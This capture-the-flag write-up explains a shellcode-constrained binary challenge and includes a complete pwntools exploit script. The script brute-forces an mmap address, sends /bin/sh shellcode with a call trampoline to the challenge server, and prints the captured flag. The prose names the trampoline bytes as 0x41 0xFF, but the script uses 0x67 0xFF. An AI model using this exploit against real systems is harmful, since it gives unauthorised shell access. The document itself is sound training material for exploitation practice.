Tags: pwn
Rating: 5.0
Solved & written up by monocleus
The challenge's binary is very similar to no-eeeeeeeeeemoji from Dragon Sector CTF 2020 ( https://ctftime.org/task/14011 ).
For those who didn't play that CTF, the binary presents with a menu of three choices:
(b)eer - Generates a random address, allocates a RWX page via mmap() and saves it to a global variable (h)orse - Uses the allocated RWX map in the following way:
Then, execution gets passed to Program Shellcode #1 which overwrites 0x10000 bytes on stack and overwrites all registers other than RSP and RIP with 0xDEADBEEFDEADBEEF. Then, execution gets passed to code at 0x200 - providing you with two-bytes worth of code execution, followed by the shellcode consisting of mostly NOPs, followed by two syscalls:
The binary is, however, patched at several places:
This makes the attack described in previous writeup impractical.
Again, the major problem here is the very constrained environment - only two bytes space for code execution, all registers are nuked, and stack is full of 0x4141414141414141 ( 'AAAAAAAA') entries.
Our solution here was to take advantage of the following NOP bytes, by using 0x41 0xFF. This in turn will concatenate with NOPs into a 0x41 0xFF 0x90 0x90 0x90 0x90 0x90 - call qword ptr ds:[eax-0x6F6F6F70]
Recall that RAX = 0xDEADBEEFDEADBEEF, which means eax = 0xDEADBEEF. 0xDEADBEEF - 0x6F6F6F70 = 0x6F3E4F7F, which means that assuming we can control 0x6F3E4F7F ( which we can - 0xF7F is not an offset overwritten by the 'A' ), we can call into an arbitrary location and gain comfortable code execution.
So, the plan was as follows:
Doing so will net you code execution and ability to get the flag:
from pwn import *
def choose_from_menu(choice):
io.sendlineafter('beer\n\n', choice)
def beer():
choose_from_menu('b')
io.recvuntil('@')
address = io.recvline()[:-1]
if address == "(nil)":
return_address = 0
else:
return_address = int(address,16)
return return_address
io = remote('116.203.18.177',65432)
l = log.progress('brutforcing mmap: ')
while True:
mmap = beer()
l.status(hex(mmap))
if mmap == 0x6F3E4000:
break
l.success('success!')
info('mmap: {}'.format(hex(mmap)))
#Shellcode
payload = asm(shellcraft.amd64.sh(),arch='amd64')
#Pad to 0x200
payload += '\xaa' * (512 - len(payload))
#call qword ptr ds:[eax-0x...]
payload += '\x67\xFF'
#Pad to 0xF7F
payload += '\xaa' * (3967 - len(payload))
#Read address for qword trampoline
payload += '\x00\x40\x3E\x6F\x00\x00\x00\x00'
#Pad to 0x1000
payload += '\xaa' * (4096 - len(payload))
l = log.progress("Sending payload..")
choose_from_menu('h')
io.sendlineafter('gib:\n', payload)
l.success("Sent payload.")
io.interactive()
hxp{5uch_4_ch34p_c45h_3rrr_fl4g_gr4b}